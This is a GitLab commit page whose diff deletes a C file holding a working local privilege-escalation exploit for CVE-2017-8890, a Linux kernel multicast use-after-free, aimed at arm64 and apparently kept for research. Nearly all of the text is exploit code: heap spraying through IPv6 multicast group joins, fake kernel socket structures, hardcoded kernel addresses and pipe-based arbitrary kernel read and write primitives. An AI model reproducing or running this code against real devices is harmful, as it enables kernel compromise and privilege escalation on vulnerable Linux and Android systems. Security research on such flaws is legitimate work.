Skip to content
Snippets Groups Projects
Commit 26972322 authored by Werner Sembach's avatar Werner Sembach
Browse files

Delete CVE-2017-8890 because it got moved to other repo

parent 55b01c4c
No related branches found
No related tags found
No related merge requests found
#define _GNU_SOURCE
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/select.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <fcntl.h>
#include <time.h>
#include <sys/types.h>
#include <pthread.h>
#include <net/if.h>
#include <errno.h>
#include <assert.h>
#define HELLO_WORLD_SERVER_PORT 6666
#define LENGTH_OF_LISTEN_QUEUE 1
#define SPRAY_SIZE 250
#define KERNEL_SOCK_IOCTL 0xffffffc00050f518;
#define KERNEL_SOCK_IOCTL_RET 0xffffffc00050f550;
/*(gdb) disassemble /s kernel_sock_ioctl
Dump of assembler code for function kernel_sock_ioctl:
./arch/arm64/include/asm/thread_info.h:
76 static inline struct thread_info *current_thread_info(void)
77 {
78 return (struct thread_info *)
0xffffffc00050f518 <+0>: stp x29, x30, [sp, #-32]!
0xffffffc00050f51c <+4>: mov x4, #0xffffffffffffffff // #-1
0xffffffc00050f520 <+8>: mov x3, sp
0xffffffc00050f524 <+12>: mov x29, sp
0xffffffc00050f528 <+16>: and x3, x3, #0xffffffffffffc000
0xffffffc00050f52c <+20>: str x19, [sp, #16]
0xffffffc00050f530 <+24>: ldr x19, [x3, #8]
0xffffffc00050f534 <+28>: str x4, [x3, #8]
net/socket.c:
3289 err = sock->ops->ioctl(sock, cmd, arg);
0xffffffc00050f538 <+32>: ldr x3, [x0, #40]
0xffffffc00050f53c <+36>: ldr x3, [x3, #72]
0xffffffc00050f540 <+40>: blr x3
./arch/arm64/include/asm/thread_info.h:
78 return (struct thread_info *)
0xffffffc00050f544 <+44>: mov x1, sp
0xffffffc00050f548 <+48>: and x1, x1, #0xffffffffffffc000
0xffffffc00050f54c <+52>: str x19, [x1, #8]
net/socket.c:
3292 return err;
0xffffffc00050f550 <+56>: ldr x19, [sp, #16]
0xffffffc00050f554 <+60>: ldp x29, x30, [sp], #32
0xffffffc00050f558 <+64>: ret
End of assembler dump.*/
volatile int server_init = 0;
volatile int server_finish = 0;
volatile int client_finish = 0;
volatile int set_fake_next_rcu_init = 0;
volatile int set_fake_next_rcu_finish = 0;
volatile int cpuid = 0;
cpu_set_t mask;
int sockfd[SPRAY_SIZE];
char *fake_next_rcu_memory;
struct callback_head {
struct callback_head *next;
void (*func)(struct callback_head *head);
};
struct ip_mc_socklist {
struct ip_mc_socklist *next_rcu;
struct ip_mreqn multi;
unsigned int sfmode;
struct ip_sf_socklist *sflist;
struct callback_head rcu;
};
typedef enum {
SS_FREE = 0,
SS_UNCONNECTED,
SS_CONNECTING,
SS_CONNECTED,
SS_DISCONNECTING
} socket_state;
struct socket {
socket_state state;
short type;
unsigned long flags;
struct socket_wq *wq;
struct file *file;
struct sock *sk;
struct proto_ops *ops;
};
struct proto_ops {
int family;
void *owner;
void *release;
void *bind;
void *connect;
void *socketpair;
void *accept;
void *getname;
void *poll;
int (*ioctl)(struct socket *, unsigned int, unsigned long);
void *compat_ioctl;
void *listen;
void *shutdown;
void *setsockopt;
void *getsockopt;
void *compat_setsockopt;
void *compat_getsockopt;
void *sendmsg;
void *recvmsg;
void *mmap;
void *sendpage;
void *splice_read;
void *set_peek_off;
};
volatile struct ip_mc_socklist *fake_next_rcu;
void bind_on_cpu(int cpuid) {
int i, now_cpuid = -1;
cpu_set_t get;
CPU_ZERO(&mask);
CPU_SET(cpuid, &mask);
while (cpuid != now_cpuid) {
sched_setaffinity(0, sizeof(mask), &mask);
now_cpuid = sched_getcpu();
}
return;
}
void *set_fake_next_rcu() {
bind_on_cpu(cpuid);
// that is a little bit more space then needed to be on the safe side
// fake_next_rcu and fake_socket overlap by 16 bytes and the start
// offset is a max of 0xff and not 0x100
fake_next_rcu_memory = malloc(sizeof(struct ip_mc_socklist) + sizeof(struct socket) + sizeof(struct proto_ops) + 0x100);
fake_next_rcu = (struct ip_mc_socklist *)((uint64_t)fake_next_rcu_memory | 0xff);
struct socket *fake_socket = (struct socket *)&(fake_next_rcu->rcu);
fake_socket->ops = (struct proto_ops *)(fake_next_rcu_memory + 0x100 + sizeof(struct ip_mc_socklist) + sizeof(struct socket));
fake_socket->ops->ioctl = (int (*)(struct socket *, unsigned int, long unsigned int))KERNEL_SOCK_IOCTL_RET;
set_fake_next_rcu_init = 1;
while(!server_finish) {
fake_next_rcu->rcu.func = (void (* volatile)(struct callback_head *))KERNEL_SOCK_IOCTL;
}
free(fake_next_rcu_memory);
set_fake_next_rcu_finish = 1;
return NULL;
};
int read_at_address_pipe(void *address, void *buf, size_t len) {
int ret = 1;
int pipes[2];
if (pipe(pipes)) {
perror("read_at_address_pipe pipe failed");
return 1;
}
if (write(pipes[1], address, len) == -1) {
perror("read_at_address_pipe write failed");
goto end;
}
if (read(pipes[0], buf, len) == -1) {
perror("read_at_address_pipe read failed");
goto end;
}
ret = 0;
end:
close(pipes[1]);
close(pipes[0]);
return ret;
}
int write_at_address_pipe(void *address, void *buf, size_t len) {
int ret = 1;
int pipes[2];
if (pipe(pipes)) {
perror("write_at_address_pipe pipe failed");
return 1;
}
if (write(pipes[1], buf, len) != len) {
perror("write_at_address_pipe write failed");
goto end;
}
if (read(pipes[0], address, len) != len) {
perror("write_at_address_pipe read failed");
goto end;
}
ret = 0;
end:
close(pipes[1]);
close(pipes[0]);
return ret;
}
void heap_spray_init() {
printf("[Spray] heap_spray_init start\n");
for (int i = 0; i < SPRAY_SIZE; ++i) {
sockfd[i] = socket(PF_INET6, SOCK_STREAM, 0);
if (sockfd[i] < 0) {
perror("[Spray] Socket creation failed");
exit(errno);
}
}
printf("[Spray] heap_spray_init end\n");
return;
}
void heap_spray_run() {
printf("[Spray] heap_spray_run start\n");
struct group_req group = {0};
struct sockaddr_in6 *psin = (struct sockaddr_in6 *) &group.gr_group;
psin->sin6_family = AF_INET6;
psin->sin6_port = 1234;
*(uint64_t *)psin->sin6_addr.s6_addr = (uint64_t)fake_next_rcu;
printf("[Spray] Fake ipv6 address: ");
for (int i = 0; i < 16; ++i) {
printf("%02x", psin->sin6_addr.s6_addr[i]);
}
printf("\n");
for (int i = 0; i < SPRAY_SIZE; ++i) {
if(setsockopt(sockfd[i], IPPROTO_IPV6, MCAST_JOIN_GROUP, &group, sizeof(group))) {
printf("%d ", i);
perror("[Spray] setsockopt failed");
exit(errno);
}
}
printf("[Spray] heap_spray_run end\n");
return;
}
void heap_spray_finalize() {
printf("[Spray] heap_spray_finalize start\n");
for (int i = 0; i < SPRAY_SIZE; ++i) {
close(sockfd[i]);
}
printf("[Spray] heap_spray_finalize end\n");
return;
}
void *server(void *arg) {
bind_on_cpu(cpuid);
struct sockaddr_in server_addr;
bzero(&server_addr, sizeof(server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = htons(INADDR_ANY);
server_addr.sin_port = htons(HELLO_WORLD_SERVER_PORT);
struct group_req group = {0};
struct sockaddr_in *psin;
psin = (struct sockaddr_in *) &group.gr_group;
psin->sin_family = AF_INET;
psin->sin_addr.s_addr = htonl(inet_addr("10.10.2.224"));
int server_socket = socket(PF_INET, SOCK_STREAM, 0);
if (server_socket < 0) {
printf("[Server] Create Socket Failed!");
exit(EXIT_FAILURE);
}
if(setsockopt(server_socket, IPPROTO_IP, MCAST_JOIN_GROUP, &group, sizeof(group))) {
perror("[Server] Server Socket Join Group Failed!");
exit(EXIT_FAILURE);
}
if (bind(server_socket, (struct sockaddr *) &server_addr, sizeof(server_addr))) {
printf("[Server] Server Bind Port : %d Failed!", HELLO_WORLD_SERVER_PORT);
exit(EXIT_FAILURE);
}
if (listen(server_socket, LENGTH_OF_LISTEN_QUEUE)) {
printf("[Server] Server Listen Failed!");
exit(EXIT_FAILURE);
}
struct sockaddr_in client_addr;
socklen_t length = sizeof(client_addr);
server_init = 1;
printf("[Server] accept..... \n");
int new_server_socket = accept(server_socket, (struct sockaddr *) &client_addr, &length);
if (new_server_socket < 0) {
close(server_socket);
printf("[Server] Server Accept Failed!\n");
return NULL;
}
printf("[Server] Close new_server_socket\n");
close(new_server_socket);
heap_spray_run();
printf("[Server] Close server_socket\n");
close(server_socket);
printf("Exploit complete, let's try arbitrary write.\n");
char tester[8] = {0};
while (read_at_address_pipe((void *)0xffffffc000a7a830, &tester, 8)) {
printf("AAA\n");
sleep(1);
}
printf("Turn UAF to arbitrary read/write succeeded.\n");
server_finish = 1;
return NULL;
}
void *client(void *arg) {
bind_on_cpu(cpuid);
struct sockaddr_in client_addr;
bzero(&client_addr, sizeof(client_addr));
client_addr.sin_family = AF_INET;
client_addr.sin_addr.s_addr = htons(INADDR_ANY);
client_addr.sin_port = htons(0);
int client_socket = socket(AF_INET, SOCK_STREAM, 0);
if (client_socket < 0) {
printf("[Client] Create socket failed!\n");
exit(EXIT_FAILURE);
}
if (bind(client_socket, (struct sockaddr *) &client_addr, sizeof(client_addr))) {
printf("[Client] Client bind port failed!\n");
exit(EXIT_FAILURE);
}
struct sockaddr_in server_addr;
bzero(&server_addr, sizeof(server_addr));
server_addr.sin_family = AF_INET;
if (inet_aton("127.0.0.1", &server_addr.sin_addr) == 0) {
printf("[Client] Server IP Address error\n");
exit(EXIT_FAILURE);
}
server_addr.sin_port = htons(HELLO_WORLD_SERVER_PORT);
socklen_t server_addr_length = sizeof(server_addr);
if (connect(client_socket, (struct sockaddr *) &server_addr, server_addr_length) < 0) {
printf("[Client] cannot connect to 127.0.0.1!\n");
exit(EXIT_FAILURE);
}
while (!server_finish) {
sleep(1);
}
printf("[Client] Close client_socket\n");
close(client_socket);
client_finish = 1;
return NULL;
}
int main(int argc, char *argv[]) {
cpuid = sched_getcpu();
bind_on_cpu(cpuid);
heap_spray_init();
pthread_t id_server, id_client, id_set_fake_next_rcu;
pthread_create(&id_set_fake_next_rcu, NULL, set_fake_next_rcu, NULL);
while (!set_fake_next_rcu_init) {
sleep(1);
}
pthread_create(&id_server, NULL, server, NULL);
while (!server_init) {
sleep(1);
}
pthread_create(&id_client, NULL, client, NULL);
while (!server_finish || !client_finish || !set_fake_next_rcu_finish) {
sleep(1);
}
printf("Trying to exit, but kernel will most likely crash on freeing manipulated memory region.\n");
heap_spray_finalize();
return EXIT_SUCCESS;
}
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment